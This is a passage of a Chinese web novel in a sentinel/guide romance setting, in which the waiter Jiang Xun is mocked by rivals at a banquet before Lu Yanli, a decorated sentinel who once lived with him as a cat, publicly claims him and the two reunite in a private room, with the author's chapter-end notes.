“经理在哪里？这是怎么回事？！” 指责声如潮水般向着江寻淹没了过来，他站在原地，脚下是晶莹的碎片和一地已然混杂在一起的酒液，裤腿上湿了一片，一滴一滴酒液顺着脚踝流淌下来，在脚下华贵的地毯上晕染开一片浊色，空气中，甜腻的酒精味挥发开来，令离得近的宾客们都嫌恶地再次后退了一步。 几人的尖叫，惹得更多的目光看了过来，不远处，几个熟悉的身影此时也被此处的风波吸引了视线，扭过了头来。 一眼看到狼狈立在人群中，一身服务生制服的江寻，站在最前面的桑扶，眼睛立马亮了起来，他快走几步，拨开人群，脸上带着夸张的惊讶与毫不掩饰的幸灾乐祸，走到了江寻面前。 刚刚与圣所几人汇合的弗兰克，此时同样看到了那个熟悉的人影，意味不明地笑着睨了身边脸色冷峻的洛伦茨一眼，同样走了过去。 洛伦茨的眼中闪过一抹难堪，沉默片刻，看到身边圣所的同伴都走了过去，这才跟在人后，也围了上去。 “呦？快看这是谁呀？”桑扶表情夸张地提着裤腿掂着脚，嫌弃地绕着江寻转了一圈，清清楚楚地看清了他一身的狼狈，这才笑出了声，“这不是我们圣所优秀的夏因同学吗？怎么？积分赛没拿到邀请函，为了混进来，居然跑来端盘子了？真是……能屈能伸啊！” 他毫不遮掩的话，立即引起了周围人的一阵议论。 “什么？圣所的学员？” “积分赛比不过人家，为了进来都去端盘子了？啧！” “你们看，和圣所这次的优胜者们都认识呢！看来是真的。” 弗兰克此时也慢悠悠地踱步了过来，漫不经心地抿了一口手中端着的酒，眼神上下扫了扫江寻，语气中是虚假的惋惜：“夏因，你这是何必呢？当初要是脊梁骨软一些，想来这个宴会，那还不是我一句话的事？如今何至于此？哎，可惜了。” “你的眼光是真的不怎么样，你看看，当初你自己选的洛伦茨，”弗兰克嘲弄地笑着，抬起下巴点了点跟在自己身后的人，“如今不也只能对你冷眼旁观？” 他侧后方稍远的地方，洛伦茨沉默地站着，看了江寻一眼，便扭过了头去。 刚才那个混入人群中的服务生，原本看到有衣着光鲜的宾客认识江寻，心里还咯噔了一下，生怕自己看走了眼，惹到了什么不该惹的人。此刻看到这些人对江寻的态度，顿时放下了心来，连躲都不躲了，就那么光明正大地站在人群前面看起了热闹。 桑扶的目光扫到周围几个正因礼服被污染，脸色难看的宾客，故意提高了音量：“你看看你，这么不小心，把这么多贵客的衣服都弄脏了，庄重的宴会都被你搞砸了，你要怎么赔啊？” 这话再次点燃了这些宾客的怒火，纷纷炸开了锅。 这时，负责宴会厅的刘主管终于脸色铁青地赶了过来，一眼看到现场的状况，心中就是一咯噔。 此时，他也顾不上去深究事故是怎么发生的，第一时间便转向了愤怒不已的宾客们，深深地躬下了身： “非常抱歉，各位尊贵的客人！惊扰到了各位，都是我们酒店的失误！大家放心，今天不论损失有多少，所有衣物的清洗及赔偿费用，全部都由我们酒店承担，一定让各位满意，只希望能够得到贵客的原谅！” 他一边说着话，一边将江寻拉了出来，口中却厉声道：“还愣着做什么？还不快下去！看你做的好事！回头再处罚你！” 几个不太在意这件事亦或不想多生事端的客人，见刘主管的态度诚恳，便顺势冷哼了几声，算是勉强接受了。 但其中几个明显精心打扮过，花费了极大的心力才拿到邀请函来到这里，指望着在这场宴会上有所收获的年轻人，却不依不饶地继续发着火。刘主管的有意维护，更是让他们将这股火气，完全倾泻在了江寻这个罪魁祸首身上。 “你以为赔点钱就行了吗？我们缺那点儿钱吗？” “就是！我们损失的时间精力怎么办？” “好好的心情全被破坏了！” “为什么这么重要的宴会上，你们安排的服务人员这么业余？你们酒店到底有没有重视主办方？” 桑扶更是在一边添油加醋，话语中充满了担心：“是啊，这位刘主管，你到底知不知道你们招的这是什么人？这位可不是普通人，他可是我们圣所高级研修班的优秀人才呢！你们根本不知道他的底细吧？” 看到刘主管听到这番话，惊讶地看向了江寻，桑扶又继续道：“为了混进这场宴会里，他甚至跑去做服务生，啧！他到底有什么目的，你们知道吗？万一在这场宴会里出了什么大事，你们能担待吗？！” 这番话，不仅激起了那几位宾客的怒火，更是让刘主管都不由自主地将猜忌的目光投向了江寻。 “他不会是什么危险人物吧？” “应该不会吧？看他的样子，就是来‘钓鱼’的吧？” “这酒店招的都是些什么人啊？藏污纳垢！” 刘主管一见众人的情绪又被激了起来，急得一边安抚宾客，一边连连看向江寻，此时，他也对这个一直表现地低调认真的服务生产生了怀疑。 “抱歉，主管。”江寻看到刘主管对自己的维护，虽然心中歉疚，但并没有选择继续欺骗下去，“我的确是来找人的，但是，我并没有……” “哼，你果然有目的！”桑扶冷哼一声，打断了江寻的话，“这位主管，这种人你还要继续留下他吗？还不快叫安保把他带下去好好查查！他在圣所里就一直很孤僻，根本就没有交好的人，他能来找谁？我看他就是……” 就在连这位刘主管都露出了失望的表情，打算请护卫先带江寻下去的时候，一个极具穿透力的声音，清晰地压过了周围所有的嘈杂，骤然响起： “他是来找我的。” 这道饱含着强烈情绪的声音入耳的一刹，江寻猛然抬头，看向前方。 现场的所有人，也一下子被这道声音镇住，不由自主地回过头，循声望去。 只见不远处靠近出口的地方，刚才还打算愤然离场的陆厌离，不知何时停下了脚步，转过身远远地看了过来。 他还是刚刚接受授勋时的模样，军装笔挺，一身利落，紫荆徽章在胸前闪耀着夺目的光芒。可此时，那直直凝望过来，死死钉在江寻身上的眸子，却让他此刻剧烈起伏的情绪无所遁形。 众人看看面前这个一身狼狈的服务生，再看看前方那位一向待人冷淡，难以接近的联盟明珠，面上是难以置信的惊诧，丝毫无法将这两者联系在一起。 一时之间，这片区域如被突然按下了静音键，完全安静了下来。 人群不由自主地向着两侧退了出去，在两人之间留出了一条通道。 在所有人惊讶的目光下，陆少将一步一顿，却极其坚定地向着那个被众人围在中央，显得孤零零的服务生走了过来。 他的脸上一片空白，似是还没有对这猝不及防的相遇反应过来。 可一双翠眸，已然翻涌起惊涛骇浪，眼尾都微微泛红起来。 他再一次张了张口，嘴唇都似乎有些颤抖，嗫嚅几下，才发出了声音。 “你是来找我的，对吗，江寻？”—— 作者有话说：当当当当~~~~两只终于重逢了，撒花撒花！[撒花][撒花][撒花] 第162章 陆厌离这句话一出口， 顿时惊住了在场所有人。众人的目光惊疑不定地在他与那个狼狈的服务生之间来回游移，宴会厅入口旁这一块儿区域，瞬间陷入一片诡异的寂静， 连宴会中心传来的背景音乐都仿佛低了下去。一些原本没有注意到此处的宾客， 都被这里不同寻常的动静吸引了目光，不约而同地停下了谈笑， 好奇地望了过来。 眼见围观的人群更多， 桑扶脸上的得意笑容僵住了，他几乎是下意识地上前了一步，目光中带着侥幸，语气小心翼翼：“陆……陆少将？您这是？您是不是……认错人了？” 他难以置信地打量着江寻，试图从这个一直以来都表现得毫无背景的死对头身上看出什么破绽，“他不叫江寻， 这是和我们一起在研修班里上课的同学，名叫夏因……” 他边说边朝着跟在身后的几个一起从积分赛中脱颖而出的胜利者递了一个眼色， 希望他们能够在此时出声，对面前的这位尊贵的陆少将说明他的误会。 可其他从圣所前来的学员们， 早就看出了桑扶与面前这个服务生的恩怨， 他们与桑扶都没有什么交情，哪里会在此时为他站台？都谨慎地沉默以对，无人出声。 其他宾客们也几乎屏住了呼吸， 凝神看着陆厌离， 他们中有许多人来此的最大目的，都是陆厌离这位重新踏入上层社交圈的顶级哨兵，从没有人想过，他这样一个地位尊崇的世家子，会与一个微不足道的底层服务生扯上关系。 另外一些对陆厌离并无所求的宾客， 此时见到面前的场景，纷纷露出了惊讶的眼神，立刻掩住嘴巴，与身边的朋友低声议论了起来。同时，还不忘将探究的目光扫向那位看不出来任何特殊的服务生。 听到桑扶话语中“夏因”这个名字，陆厌离的目光不由自主地从江寻身上移开，落在了桑扶身上。 来自这位刚刚荣获了最高荣誉的顶级哨兵的注视，令桑扶头皮一麻，整个人瞬间精神了起来。这时他才真切地意识到，眼前的人，是连他一直以来追逐着的弗兰克都难以望其项背的存在。 这个认知，让他下意识地摆出了自己最美好的姿态，面上笑容清甜，声音都软了下来：“不信您可以问问其他的同学，他是今年与我们一起入学高级研修班的，已经相处很久了，您一定是认错人了。” 说着，他马上回过了头，向身后的弗兰克等人投去了求助的目光，似是在寻求支持。 可事情的发展如此诡异，弗兰克哪会轻易入局，只是皱了皱眉头，却没有立即开口，而是谨慎地观察着陆厌离的反应。 陆厌离并没有如桑扶所愿地找人追问，碧绿的眼眸微微波动了一下，又重新看向了江寻。 他的目光贪婪地描摹过江寻熟悉又陌生的眉眼，试图从他看向自己的视线中找出一丝熟悉的情绪。 原来如此，怪不得他哪里都找不到江寻，原来他故意隐藏了自己的行踪，甚至连名字都改掉了，这个发现让他的心猛地一沉。 陆厌离抿了抿唇，心中克制不住地想起了父亲方才的话语：“他到现在还没来找你，根本就是不想见你。” 这样的想法，在这一段漫长的分离中，也曾无数次浮现在他的心头，可都在对江寻安危的担忧中被他埋入了心底。如今看到对方好好地出现在自己眼前，又得知他早就来到了中央星，却一直没去见他，这种惊惶终于再次从心底破土而出。 是因为自己一直的欺瞒吗？ 他是不是，已经后悔了，不想再和自己扯上关系了？ 陆厌离的脑海中闪过一个又一个可能，每一个都让他的心更加沉重了一分。 他为这样的猜测踌躇不定，他无法放弃江寻，可也不敢违逆他的心意让他更加讨厌自己，一时之间，竟不知所措，愣在了那里。 桑扶看到陆厌离的犹豫，心中立刻一松，脸上的笑容更加灿烂起来，他调整了一下站姿，展露出自己最好看的那半张侧脸，正要开口借着这个机会，与面前这个自己连想都不敢想的大人物搭话，却被一个果断的声音打断。 “对，我是来找你的。” 江寻抬起了头，迎着所有人的目光，清晰地说道。他的声音不大，可此时在这片安静的区域中却格外明显，瞬间被周围围观着的所有人收入耳中。窃窃私语的人群睁大了眼睛，彼此对视的目光中闪过听到某种隐秘消息的兴奋，全部安静了下来，关注地看向场中几人。 江寻看向面前这个对他来说有些陌生的男人。虽然这段时间中，在各种视频、图片中看到过他，也已经确定了，这个人就是曾经与他生死与共，已经被他接纳的家人，但那张稍显苍白的面孔，还是让他觉得有些不适应。 面前这个一身荣光的男人，与他的小树从外貌上毫无相似之处，他只能从那双眼睛里隐约看出某种熟悉的味道。 可看着他眼中的惊惶，江寻还是马上回应了他的问话，不舍得让他继续难过下去。 第一时间捕捉到了他的话语，陆厌离心中猛地一松，一股难以言喻的暖流瞬间冲刷过冰冷的四肢百骸，他忍不住踏前半步，想要更加靠近江寻，却被脚下清脆的玻璃碎响惊醒。回过神来，这才意识到了自己刚才的失态。 低头看了看脚下这一地的狼藉，又顺着地毯上被泼洒开来的酒液，向上看到江寻已然被浸湿了的裤腿，这才如梦初醒般转过头去，看向站在一旁的刘主管。 “不好意思，这位主管，请代我向所有的客人们道歉，先带各位去处理一下。所有宾客的损失，都由我双倍赔偿。” 刘主管闻言，如蒙大赦，瞬间明白了陆厌离的意思，看着面前这幕微妙的场景，哪敢多问，忙点头应下：“是！多谢陆少将！我这就处理。” 他一边应声，一边向着周围越聚越多的宾客们看去：“各位尊贵的客人，请随我来，我们马上为您们处理！”同时用眼神示意着旁边其他的服务生们，迅速将围观的人群带离。 那些原本还在不依不饶着，要找江寻麻烦的年轻客人们，见到两人明显相识的态度，即使不甘，也不敢再次多言，只能用嫉妒的眼神，狠狠瞪了那个从没入过他们眼的服务生一眼，便悻悻地被工作人员纷纷带离。 而其他凑上来看热闹的宾客们，听到陆厌离的话语，也马上明白了他的意思。有些可惜地再次看了看江寻的容貌，将这个即将被记入许多家族情报中心的重要人物记在了心里。便也纷纷随着工作人员们散了开去。 此时，那个故意绊倒江寻的服务生见势不妙，正想偷偷溜走，却被眼尖的刘主管一把抓住，狠狠剜了一眼。 “你，跟我过来！”那人顿时面如死灰，再想求饶已经来不及，被刘主管强拽着手腕，直接拖了下去。 转眼之间，刚刚还一片喧嚣的场景中，便只剩下了几个人。宴会厅中的其他区域仍然热闹非凡，可这一角却异常地安静了下来。 从刚才开始便一直在冷眼旁观的洛伦茨，此刻听到江寻的回话，终于忍不住动了。 他上前一步，闪闪发光的银色发丝，此刻看着却有些黯淡了下来。 他目光复杂地看向江寻，声音中带着浓烈的不甘心：“夏因，你一直拒绝我，也不与任何人建立固定关系……是因为他？” 他的目光执拗地看向江寻，第一次在人前露出了剧烈的情绪波动。 江寻还没对这句问话做出反应，陆厌离先有了动作。 一瞬间，如刀的眼神猛地射向洛伦茨，他整个人也不假思索地侧身一步，直接挡在了江寻身前，完全隔断了洛伦茨看向江寻的视线。周身骤然散发出一种古怪的甜腻气息，这甜腻中却又蕴含着极度致命的压迫感。 强大的精神力场立刻沸腾了起来，狠狠压向洛伦茨。又在即将触碰到他的时候，突然顿住。陆厌离犹豫了一下，微侧过眼眸，用余光看向江寻的神情。 江寻有些惊愕地看着陆厌离这突然的反应，看着他挡在自己身前，略显清瘦却又令人无比安心的背影，恍惚间，仿佛看到了当年在那颗无人星上，因为另一只野猫而拱起脊背，同样挡在自己身前张牙舞爪的小猫。 这一瞬间，心中那点因为这个陌生的人形姿态，而产生的隔阂感，无声无息地消散了些许。 他定了定神，从陆厌离背后探出目光来，看向面前力场完全被碾压下去，面色发白的洛伦茨，语气平静：“洛伦茨，无论是不是，如今都已经不重要了。你已经做出了你的选择，不是吗？” 稍显平淡的话语，却如冰冷的利刃精准地扎入了洛伦茨的心。想起这短短几天中发生的一切。自己的倒戈，对夏因的打压，对更高阶的S级向导的追逐，对夏因苦难的无视。 此刻，这轻飘飘的一句话，却比那笼罩在自己头顶的致命力场更加沉重， 所有的辩解与不甘都被堵在了喉咙里，他的脸色白了又白，嘴唇张翕，却一句话也说不出来。江寻那平淡投在他身上的目光，却比任何指责都更加让他难受。 桑扶猛地后退了一步，看着陆厌离那不可辩驳的维护与在意，展现在眼前的一切，让他再也不能自欺欺人。 强烈的耻辱与妒恨将他的胸腔完全充斥，熏得他眼眶通红。他紧紧攥住拳头，指甲深深陷入了掌心之中。 为什么！明明自己付出了那么多，做了那么多事，好不容易才让他众叛亲离，沦落到了这般田地，他却能一次又一次，永远压自己一头，得到更好的靠山？！ 这一次，甚至达到了自己想都不敢想的高度？ 他为什么每次都横亘在自己面前，让自己辛苦获得的一切，看起来像一场笑话？！ 恨怒令桑扶几乎燃尽了理智，四肢都开始剧烈颤抖了起来，可对于碾压般的恐怖力量出于求生本能的惧怕，却又死死压抑住了他的行为，不敢有任何异动。 弗兰克同样被面前这兔起鹘落的一幕震惊，面露惊疑地呆立在了原地，可他此时却比在场的另外两人清醒得多。 没有谁能比他这个从小浸淫在权力场中的世家继承人，更明白如今这位陆少将在联盟中的份量。不要说毫无背景的洛伦茨与桑扶，即便是自己、自己的家族、自己的父亲，在对方面前，也几乎没有说得上话的余地。 心中快速权衡利弊，眼见面前的桑扶表情狰狞了起来，他的第一反应不是去与陆厌离、江寻两人针锋相对，而是第一时间捂住了桑扶的嘴，强硬地把他扯了回来。 只是与一个B级向导在圣所里的一点点不愉快的摩擦而已，他绝不想因为这点小事，去交恶一个刚刚获得了强大影响力的联盟新星。 “抱歉，陆少将，我的搭档之前在研修班中与您的朋友产生了一些误会，我会回去好好教训他的，希望您不要介意，我们这就走。”语速极快地对着陆厌离说完这番话，弗兰克拉着一旁仍然在挣扎的桑扶转身就走，丝毫没有理会站在一旁的洛伦茨。 被弗兰克拖走前，桑扶最后不甘心地瞪了江寻一眼，眼神中充满了怨毒。可江寻只是瞟了他们两人一眼，便移开了视线，重新看向站在他面前的陆厌离。 这种无视就是桑扶最恨他的地方，这样的轻视，比任何的反击都更加让桑扶难受。 而洛伦茨，也在江寻那一句回答后，彻底失去了对抗的力量，最后看了看那个被完全隔绝在自己视线之外的人影，略显踉跄地转身追上了弗兰克两人的脚步。 此时的他，背影微微佝偻了下来，再也不见平日里的矜贵自信。 气氛随着周遭人群的散去逐渐安静下来。仍有或好奇，或惊异，或嫉妒的目光不时落在站在中央的两人身上。但此时，却已经无人在意。 几位侍者开始动作轻缓地清理起地上的玻璃碎片，又在快速完成任务之后，不声不响地退了下去。 喧嚣与混乱散去，仍然热闹的晚宴中，突兀地空出了一块儿略显空旷的区域。 陆厌离挺拔的背影依旧挡在江寻身前，维持着刚才的姿势，为他挡住从内场投射过来的各色视线。 刚才初见时那股汹涌而混乱的复杂情绪逐渐平复下来，另一些更加细微而磨人的情绪悄然从心底浮现。 此时，感受着那道落在自己背脊上的目光，陆厌离竟然一时之间不敢回头。生怕这一回头，这场美梦就要再次苏醒过来。他能感觉到江寻的视线在他背上流连，那目光中带着审视，也带着某种他不敢揣测的情绪。 在这场跋涉星海，苦苦寻觅的旅途中，他曾无数次希望江寻出现在自己的面前，也曾在混乱的梦境中再次与他重逢。 那些梦境，有时美好，有时可怕。在美好的梦境中，江寻会笑着迎向他，像在久远记忆中的寂静星上一般将他抱入怀中；在可怕的梦境中，江寻会用冷漠疏离的眼神看着他，毫不留恋地转身离去。 此刻，当他真切地站在曾经梦想中的场景里，心中有千言万语想要说出口，有无尽的思念想要倾诉，有满腹的委屈想要得到安慰，却连回头好好看向对方也不敢。 巨大的不安如同无情冰冷的藤蔓，死死裹缚住他的心脏。 江寻在圣所上学，他已经来到中央星很久了，那为什么一直没有来找他？他不知道自己的身份，一直到他在公开媒体上发声才认出他吗？可他当初离开的时候，明明告诉过江寻自己的名字的…… 即使他刚才承认了今天是来找自己的，陆厌离也不敢相信。他的寻找中，有几分是出于他们的情谊，又有几分，是出于……责任，亦或者别的什么？他会不会是来找自己说清楚，让他不要再无谓地寻找，打扰他的生活？ 那也是当然的吧，自己对于他来说，完全就是一个陌生人。对于他来说，他们两人从来不曾真正相处过，不曾说过话，更不曾见过面。任谁突然发现，自己居然一直被一个陌生人在暗中觊觎，都不会高兴的吧？ 陆厌离的面色更加苍白了几分，背后的目光越发另他不敢面对，深深低垂下头颅。 他从未对任何人说过，可这却是他最深的恐惧。 他清晰的记得，当年在他们初遇的寂静星上，江寻就一直想要找一个安静的地方独居，不想和任何人扯上关系。 如果不是当时自己救了他，又陷入了生死危机之中，恐怕他都不会把自己捡回去。那之后，他对自己也始终是当做一只喜爱的宠物一般饲养。 而自己，却从头到尾都在欺骗他，隐瞒了自己哨兵的身份，一直以一只无害的宠物的姿态，缠在他身边，贪恋着他的温暖和关怀。 任哪个人被一个这样居心叵测的陌生人一直欺骗，都不会产生好的想法的吧？他会不会已经找到新的朋友家人，有了新的生活……不要自己这只始终在欺骗着他的宠物了？ 这个念头，每每被他想起，便会让他痛苦到几乎无法呼吸。他的指尖微微发凉，不为人知地颤抖了起来，站在原地一动不动，连转身的勇气都在迅速流逝而去。 就在他心绪翻腾之际，身后忽而传来一道平静的声音，打破了此刻的沉寂：“这里人太多了，我先去换身衣服。” 陆厌离猛地回过神来，几乎是条件反射般地点头，又想起自己是背对着他的，再次张口应声：“……好。” 一说话，这才发现自己的声音已经因为紧张而显得干涩嘶哑，又赶忙紧闭住了嘴巴。 身后传来轻缓的脚步声，陆厌离的余光看到那个牵动了自己全部心神的身影，从自己身后掠过，走向一旁侧厅中的休息室。 还没想个清楚，脚步已经下意识地跟了上去。走了两步，突然反应过来对方是要去僻静的地方换衣服，自己这么跟着，实在太失礼。可又害怕再次失去他的踪迹，不敢远离。 两人就这样一前一后，在宴会厅许多人奇异的视线里，渐渐远离。直到两人的身影彻底消失在众人的视线中，厅中才骤然爆发出一阵激烈的议论声。 陆厌离沉默地跟在江寻身后半步的距离，目光复杂地落在前方那个背影上。 江寻身上那件服务生的制服，此刻已经被泼洒出来的酒液完全浸透，行动间，一些布料紧贴在他的身上，显露出包裹其下的肌肉轮廓来。在陆厌离的眼中，这丝毫不显狼狈，混着浓烈的酒香，反而衬托出一分触动人心的诱惑来。 他的目光小心地从江寻的发梢一分一分下移，于是记忆中曾经熟悉的一切都在心中缓缓甦醒了过来。 他的头发，曾经在自己的指尖缠绕摩挲；他的颈子，曾经被他偷偷拢在臂弯；他宽阔的后背，曾经当过自己奔跑的领地；他的手指，曾经深深陷入他的皮毛。 无数个日夜的思念与担忧，在此刻终于有了落点，他的心脏鼓噪又酸涩，贪恋又不安，他想问的问题那么多，想吐露的心声那么长，此刻却只能嘴唇张翕，一个字也不敢说出口。 两人一前一后，沉默地穿过了宴会旁稍显安静的侧厅，走向旁侧提前安排好的一排休息室。 奢华与热闹随着脚步被一分一分抛在了身后，周围的环境逐渐安静下来，耳边传来的，只有一声又一声鞋跟敲击在石质地板上的清脆回响。 终于，江寻在一扇普普通通的门前停了下来，凭着属于工作人员的权限刷开了这间空置的休息室，推门而入。 始终跟在他身后的陆厌离，听到开门的声响，终于回过了神来。犹豫一下，还是停下了脚步。 以前走到哪里都缠着江寻，是因为他有一身小猫的外皮遮掩。可如今，他已经恢复了人形，两人又是初次相见，再那样亲密，明显太过失礼了，恐怕也会引得江寻反感。 然而，就在他深吸一口气，压下心中害怕再次失去江寻的忐忑，停在门口时，异变陡生！ 一只温热的大手猛然从他面前即将关上的门缝中伸了出来，精准地抓住了他的手腕，紧接着，一股不容抗拒的力量袭来，猛地将他拉住往里一扯。 陆厌离此时正心思郁结毫无防备，被这猝不及防袭来的大手一瞬拉扯，蓦地失去了平衡，踉踉跄跄栽进了门内。 随即，大门在身后紧紧地闭合了起来，发出“滴——”一声上锁的声音。陆厌离晕头晕脑地被那股大力再次一甩，后背一凉，便撞在了刚刚合拢的门板上，发出“咚”的一声闷响。 室内没有开灯，光线昏暗，他尚未反应过来发生了什么，看清面前的景象，便感觉一个散发着酒香与腾腾热气的身体急速迫近了过来。 熟悉的气息扑面而来，眼前光线再次一暗，一条有力的臂膀“啪”一下按在了他的脸侧，将他牢牢困在了门板与胸膛之间。 陆厌离几乎可以称得上仓皇地抬眼看去，下一刻，便直直撞入了一双凝视着他的黑眸之中。 心跳瞬间失控，时间在这一刻，静止了下来—— 作者有话说：请叫我断章大师[墨镜] 第163章 久久， 室内两人一动不动，一片寂静。 耳边，隐约能听到门外飘进来的优雅朦胧的音乐声， 陆厌离甚至能听到一门之隔的侧厅里， 宾客们的低语谈笑声。 可这些声音却渐渐被他越来越剧烈的心跳声完全盖了过去。 江寻一只手越过他的耳侧，撑在背后的门板上， 头也微微低了下来， 将他困在这一方狭小的空间里，靠得极近。 陆厌离觉得这房间有点热，不然江寻身上沾染的酒液，怎么会这么快便挥发了开来，充溢了他的鼻腔，熏得他头晕目眩。 他紧紧贴在门板上， 一动也不敢动。 呼吸不由自主地加快，视线无法从面前那人一双沉静的黑眸中逃离出去， 像是被美杜莎石化住的猎物，无法自持， 只能任凭对方掌控一切。 房间里没有窗户， 也没有开灯，暗沉沉的一片，只有从门缝中漏进来的一点微弱的灯光， 吝啬地洒进来， 撑起一小片莹莹光亮。 那薄薄一层微光，虚虚地拢在江寻的半边身体上，为他流畅的侧脸轮廓镶上一道柔和的银边。 他身上只穿了一身服务生的制式衬衫马甲，在别人身上只能算得上是工作服的衣服，穿在他身上却恰到好处地被撑了起来。 此时他抬起了一侧的手臂， 那层被酒液浸湿又受力绷紧的衬衫布料，就紧贴在了皮肤上，透过那道从门缝中偷偷溜进来的亮光，隐约露出些底下的肉色来，让不小心瞥到的陆厌离急忙转移了视线。 他的眼神一动，对面的人也动了起来，虽然目光仍锁定在他身上，却微微抬起了头，打破了两人之间那种紧绷的气氛，也留出了一点空间，让陆厌离小口小口地喘息了起来。 刚才还能与对方直勾勾地对视着，可一旦视线错开，陆厌离便再也不好意思重新迎上去了。他微微侧过了头，眼神有些无措地向着侧下方垂了下去。 说要找个地方换衣服，本来就有一大半是江寻临时找的借口，他只是这会儿情绪波动有些剧烈，想要找个私密些的地方，先和小树正式确认一下身份。 一贯的自制力让他在外人面前还能保持着自然的风度，可只剩他们两人时，动作便难免急切粗鲁，失了些分寸。 这会儿，见面前的人尴尬地移开了视线，他也慢慢冷静了下来，抬起头，稍稍拉开了一些两人之间的距离。 “陆厌离？”这三个字一出口，引得面前的人抬了一下头，看了他一眼。可那张对于江寻来说还很陌生的脸上，表情很细微，让他一时分辨不出他的情绪。 “小树？”江寻再次叫了一声，这一次，面前的人终于有了明显的反应，他的眼睫颤抖了一下，虽然没有抬起眼，却重重地点了点头。 虽然之前已经从各种线索里确认了对方的身份，但在没听到他本人承认之前，江寻心里始终绷着一根弦，不敢百分百地认定，对待对方也始终抱持着一种礼貌与距离。 此刻终于从对方口中得到了确定的答案，顿时让他整个人一下放松了下来，轻轻呼出一口气。 再看向对方时，目光中的审视已经悄然消失，取而代之的，是一种混杂了好奇与亲近的打量。 对方的模样他在这段时间以来，已经通过视频与图片资料看过了很多次。可在如此近的距离仔细观察时，又是另一种感觉。 他的五官整体都偏纤长细薄，眉目疏淡，挺鼻薄唇，可面部的骨相生得极好，从额头到鼻尖，从鼻尖到唇珠，起伏有致，轮廓利落清晰。 此时他微微侧过了头去，更加显出他优越的面部折叠度与流畅的下颌线。 与猫形态时更接近黑灰色的毛发不同，他的头发颜色偏浅，有点接近银灰色，衬着他瘦削白皙的面孔，寡淡的表情，矜贵有度的行止，便搭配出了一种极为疏离的气质。 不笑时，就好像对什么都不太感兴趣，一副高岭之花的模样，倒是很符合他的身份。 可这会儿，他虽然外表仍然是江寻刚才所见到的，站在联盟最高的舞台上接受领导人授勋的庄重模样，甚至那枚代表了哨兵最高荣誉的紫荆花徽章都还挂在胸前闪闪发光。可整个人的神态气质却已经完全不同。 明明自己只有刚刚进门时用了点力，把他按在了房门上，后面就再没有触碰过他。 可他这会儿却整个人绷得笔直，紧紧贴在门板上，一动不动，手臂与双腿都好像在暗暗用力向内缩着，像是被什么巨大的力量压迫着，又好像是过于窘迫，恨不得缩成一团，把自己藏起来，连抵在门后的指尖都用力得发白。 侧过去的面孔在黑暗里看不太分明，被漏进来的光线抚摸过的耳尖却微微透明，从肉里透出抹绯红来。 江寻这才后知后觉地意识到，他们之间的距离似乎有些过近了。 不得不说，面前人的反应实在有些出乎他的意料。按理来说，他们当初在一起时，是对方一直在伪装成宠物，自己可一直都是现在这个样子。 如今重逢，就算有不习惯，也应该是他不习惯对方的人形姿态，对方应该早就对自己非常熟悉了才对。 怎么现在反而是他一副不知所措的样子？ 之前他在公开媒体上看到对方发出去的那则寻人启事，还以为他对那段经历多么坦然呢，原来直到这会儿才觉得尴尬了吗？ 可江寻此刻没打算轻易放过他，被这个家伙骗了这么久，他可不会轻易饶过他。 “你没什么想说的吗？” 话音刚落，江寻就看见面前的人唰一下变了脸色，头垂下得更低了，眼睫嘴唇一起颤抖了起来，过了好几秒，才慢慢抬起了头来，看向江寻的目光中，充满了愧疚与惊惶，声音低哑，带着颤抖：“我……对不起，一直瞒着你。我，我当时……” 他想解释，却语不成调，似乎也明白任何理由在这样从头到尾的欺骗面前都显得苍白无力。 最后，只得停下了断断续续的辩解。看向江寻的眼眸深处，浮起一抹带着恐慌的恳求：“我知道是我不对，你想怎么惩罚我都可以……但是……但是，不要抛下我，我可以继续做你的猫的……真的，你要是不喜欢的话，我以后再也不变回人形了……只要，只要你别不要我……” 江寻简直要被他气笑了，这说的是什么话？！ 刚开始知道自己被欺骗的时候，他当然生气。但是他曾经对对方承诺过永远，只要他们彼此付出的情感是真实无虚的，那么他便不会主动背弃承诺。 虽然如今宠物变成了哨兵，让他有些陌生和不适应，但他觉得这些问题最后总能解决，只要对方不反悔，那他们今后总是会在一起的。 他说不清现在两人之间究竟是何种感情，但他们还有很长的时间可以慢慢相处，细细品味，他觉得这都不是问题。 做错了事就好好道歉，知道哪里错了就好好改正。 他要的是对方知错能改，以后不准故意欺骗他。 难道他还能逼对方一个好好的人去当宠物？他是什么变态吗？ 江寻没好气地后退一步，从贴身口袋里，取出那条被他特意修好的项圈，摔在了陆厌离面前：“想当猫？不是丢了项圈吗？给你！戴上它，爬过来给我看看。” 眼神触到那条与记忆中一模一样的项圈，陆厌离瞳孔猛地收缩，呼吸都要停滞了下来。心头一酸，缓缓蹲下身去把它捡了起来。 手指抚过那块镌刻着他们两人姓名的铭牌，与那颗无声的铃铛，陆厌离的眼神怀念，旧时的记忆在这一刻蜂拥而来。 “你……你还留着它？”陆厌离一边珍惜地抚摸着项圈，一边抬头看向江寻，眼神中满是酸涩与期待。 江寻冷哼了一声，有点不好意思承认自己是如何一直将它贴身带着的。看着陆厌离此刻的眼神，刚才那股火气也降了下来。 他本来就不是爱折腾自己人的人，刚才说的也只是气话。陆厌离这段时间为了找他所付出的努力，他都看在眼里，其实早就原谅了他。只是对方犯了错，他必须摆出态度来，不能让他觉得犯错可以被轻易原谅，下次再犯。 稍稍冷静了下来，江寻便再次后退一步，顺势坐在了身后的沙发上，招了招手，示意陆厌离过来，打算好好和他聊一聊这一段分别的时日里，彼此的经历。 却没想到，陆厌离抚摸了一会儿项圈后，便“咔哒”一声把它解了开来，拨开自己的衣领便毫无芥蒂地戴了上去。 下一刻，他踏前一步，整个人跪倒了下来，匍匐在了江寻脚边。高高扬起脖子，让江寻看清已然被好好戴上的项圈。望向他的目光中泛起依恋与由衷的喜悦。随即，又侧过头去，试探性地一仰头，轻轻叼住了江寻的指尖。 紧接着，身周庞大的精神力场猛得向内收束，剧烈波动起来，江寻只觉眼前一花，一条熟悉的毛茸茸长尾便从陆厌离腰后钻了出来，缠上了他的脚踝。 还没等江寻从面前这震惊的场面中回过神来，下一秒，波动再剧，灰黑色的点点灰烬往前延伸过去，陆厌离周身的轮廓一虚，眼看着，下一秒就要完全变成猫形拟化状态。 “停！”江寻惊得眼眸一瞬睁大，急吼出声，猛得一缩手，从陆厌离口中抽出了已然被含到糯湿的手指。 精神波动刹那间停顿了下来，陆厌离有些迷茫地看向江寻，身后已经拟化出来的尾巴紧紧缠在江寻的脚踝上—— 作者有话说： 太久没写感情线了，咳咳~~有点卡文。先放一段，晚上还有一更。 注：这几段包含很多个人XP，不适的宝宝们可以自行跳过！[可怜] 第164章 “你！”江寻久违地生出了些慌乱的感觉， “你这是干什么？！” 